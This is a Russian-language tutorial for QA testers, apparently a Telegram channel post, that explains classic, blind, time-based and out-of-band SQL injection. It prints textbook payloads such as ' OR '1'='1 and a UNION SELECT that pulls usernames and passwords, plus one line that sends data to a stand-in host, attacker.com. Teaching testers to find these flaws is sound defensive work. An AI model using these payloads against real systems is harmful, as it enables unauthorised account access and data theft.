Основы SQL-инъекций для QA

Основы SQL-инъекций для QA

t.me/qa_chillout

SQL-инъекция (SQLi) — это способ взлома WEB-приложения, при котором злоумышленник вводит специальный код вместо обычных данных (например, имени или пароля) и получает доступ к базе данных. Это позволяет ему просматривать, изменять или даже удалять информацию, которую он не должен видеть. Происходит это из-за того, что сайт неправильно обрабатывает ввод пользователя и подставляет его напрямую в запрос к базе данных.


Как работает SQL-инъекция и почему это может быть опасно?

Допустим, вы регистрируетесь на сайте интернет-магазина. Когда вы вводите свой логин и пароль, сайт отправляет эти данные на сервер, где они проверяются в базе данных. Если всё верно — вас пускают в личный кабинет.

Но представьте, что сайт плохо защищён, и его создатели неправильно обрабатывают введённые данные. Тогда злоумышленник может вместо логина ввести специальный код, который сервер воспримет как команду. Например, он может подставить такой запрос, который заставит базу данных выдать ему список всех пользователей и их пароли.


Как это может выглядеть?

Представьте, что у вас есть аккаунт на сайте интернет-магазина, и для входа вы вводите логин и пароль. Например:

  • Логин: petr123
  • Пароль: superpass123

Когда вы нажимаете «Войти», сайт отправляет ваш логин и пароль на сервер, который проверяет их в базе данных примерно так:

SELECT * FROM users WHERE login = 'petr123' AND password = 'superpass123';

Если в базе есть пользователь с таким логином и паролем, система вас пускает.

Что делает злоумышленник?

Вместо обычного логина он вводит в поле ввода что-то хитрое, например:

' OR '1'='1

А пароль оставляет пустым или вводит что-то случайное. Тогда запрос к базе данных превращается в:

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '';

Теперь разберёмся, что здесь происходит:

  • '' — пустое значение логина (значит, логин не проверяется).
  • OR '1'='1' — это всегда правда, потому что 1 всегда равен 1.

База данных обрабатывает это так, будто условие всегда верное, и вместо проверки реального логина и пароля она просто выдаёт данные первого попавшегося пользователя.

Что в итоге?

Если сайт уязвим, злоумышленник получает доступ к чужому аккаунту без знания пароля. Если у него есть способ выбрать, чей аккаунт открыть, он может получить доступ к админке сайта и даже полностью его контролировать.


Виды SQL-инъекций

1️⃣ Классическая (In-band) SQL-инъекция

Происходит, когда злоумышленник напрямую получает данные из базы. Например, если приложение выводит ошибки SQL на страницу, можно использовать конструкцию:

' UNION SELECT username, password FROM users --

Пример атаки:

Если поле поиска формирует такой SQL-запрос:

SELECT * FROM products WHERE name = '$input';

И злоумышленник введёт:

' UNION SELECT username, password FROM users --

Запрос объединится с таблицей users, и в результате в списке товаров появятся логины и пароли пользователей.


2️⃣ Слепая (Blind) SQL-инъекция

Этот тип атаки используется, когда база данных не выдаёт ошибки напрямую, но реагирует на изменённые запросы.

Пример:

Если на странице входа просто показывается «Неверный логин/пароль», можно попробовать запрос:

' AND 1=1 --

Когда атакующий вводит ' AND 1=1 --, он изменяет SQL-запрос так, чтобы условие всегда было истинным. Например, если исходный запрос выглядит так:

SELECT * FROM users WHERE username = 'введённое_значение' AND password = 'пароль';

После подстановки ' AND 1=1 -- он превращается в:

SELECT * FROM users WHERE username = '' AND 1=1 -- ' AND password = 'пароль';

Здесь:

  • 1=1 — всегда истинное выражение, поэтому оно не мешает выполнению запроса.
  • -- — это SQL-комментарий, который отключает всё, что идёт после него (включая проверку пароля).

Если система принимает этот запрос и не выдаёт ошибку, значит, SQL-инъекция работает.

Теперь рассмотрим ' AND 1=0 --. Оно превращает запрос в:

SELECT * FROM users WHERE username = '' AND 1=0 -- ' AND password = 'пароль';
  • 1=0 всегда ложно, поэтому такой запрос не вернёт данных.

Если при вводе ' AND 1=1 -- система даёт другой ответ, а при ' AND 1=0 -- — нет, это означает, что атакующий может проверять, какие условия выполняются.


Более сложный вариант — Time-Based Blind SQL Injection, где злоумышленник измеряет время отклика сервера. Например:

' OR IF(1=1, SLEEP(5), 0) --
  1. ' OR — закрывает текущую строку ввода и добавляет новое условие в SQL-запрос.
  2. IF(1=1, SLEEP(5), 0) — это условие: 1=1 всегда истинно, значит, выполняется SLEEP(5) — задержка на 5 секунд.
  3. Если бы 1=1 было ложным, выполнялось бы 0, что не вызывает задержки.
  4. -- — отключает оставшуюся часть запроса (делает её комментарием).

Как это работает?

Допустим, исходный SQL-запрос на сервере:

SELECT * FROM users WHERE username = 'введённое_значение' AND password = 'пароль';

После подстановки инъекции он превращается в:

SELECT * FROM users WHERE username = '' OR IF(1=1, SLEEP(5), 0) -- ' AND password = '';

Так как 1=1 истинно, сервер выполнит SLEEP(5), что приведёт к 5-секундной задержке.

Как атакующий определяет уязвимость?

  • Если сервер реагирует с задержкой, значит, запрос выполняется, и база данных уязвима.
  • Если сервер отвечает моментально, значит, либо инъекция не работает, либо база данных защищена.


3️⃣ Out-of-band SQL-инъекция

Используется, если невозможно получить результат напрямую, но можно заставить сервер отправить данные в другой источник (например, на сервер злоумышленников).

Пример запроса, который может отправить данные через DNS-запрос:

' UNION SELECT LOAD_FILE('//attacker.com/data.txt') --

Так можно вытащить данные без прямого ответа на запрос.


Зачем QA разбираться на базовом уровне в SQL-инъекциях?

QA-инженер отвечает не только за функциональное тестирование, но и за стабильность, безопасность и качество продукта. Даже если в команде есть отдельные специалисты по безопасности, первыми потенциальные уязвимости замечают именно тестировщики.


Все же, почему знание SQLi важно для QA:

  1. Предотвращение критических багов, ведь SQL-инъекции могут привести к удалению или изменению данных.
  2. Повышение качества продукта. Тут все понятно, так как чем раньше найдена уязвимость, тем дешевле её исправить. Если тестировщик умеет находить уязвимости, он может предупредить о потенциальных проблемах ещё до выхода продукта в продакшн.
  3. Базовые навыки тестирования безопасности полезны даже в функциональном тестировании. Знание основ безопасности помогает тестировщику находить ошибки раньше — например, если система неправильно обрабатывает ввод, выдаёт ошибки базы данных или позволяет менять её поведение. Это снижает риски, упрощает исправление багов и делает продукт надёжнее.


QA может проверять SQL-инъекции в формах ввода (логин, поиск, регистрация), API-запросах (REST, GraphQL) и функциях, работающих с базой данных (генерация отчетов, админки). Любые места, где пользовательские данные передаются в базу данных, могут быть уязвимы.


Безусловно, в большинстве проектов тестировщики (manual QA) редко тестируют на SQL-инъекции, так как этим занимаются security-тестировщики или пентестеры. Однако все же в некоторых компаниях тестирование на SQLi может быть частью тест-плана QA.


Актуальны ли SQL-инъекции сейчас?

Пик распространенности SQLi пришелся на 2000–2010-е годы. В этот период многие веб-приложения строили SQL-запросы с использованием строковой конкатенации, что делало их уязвимыми.

Особенно известной стала атака 2008 года на Heartland Payment Systems, где через SQLi злоумышленники скомпрометировали более 100 миллионов данных банковских карт.

Хотя сегодня многие современные технологии снижают риски SQL-инъекций, полностью эта угроза не исчезла. Устаревшие системы, слабая валидация данных и ошибки разработчиков все еще позволяют злоумышленникам использовать эту технику.


Обсудить статью, узнать больше можно в телеграм канале «Тестировщики нужны».

Report Page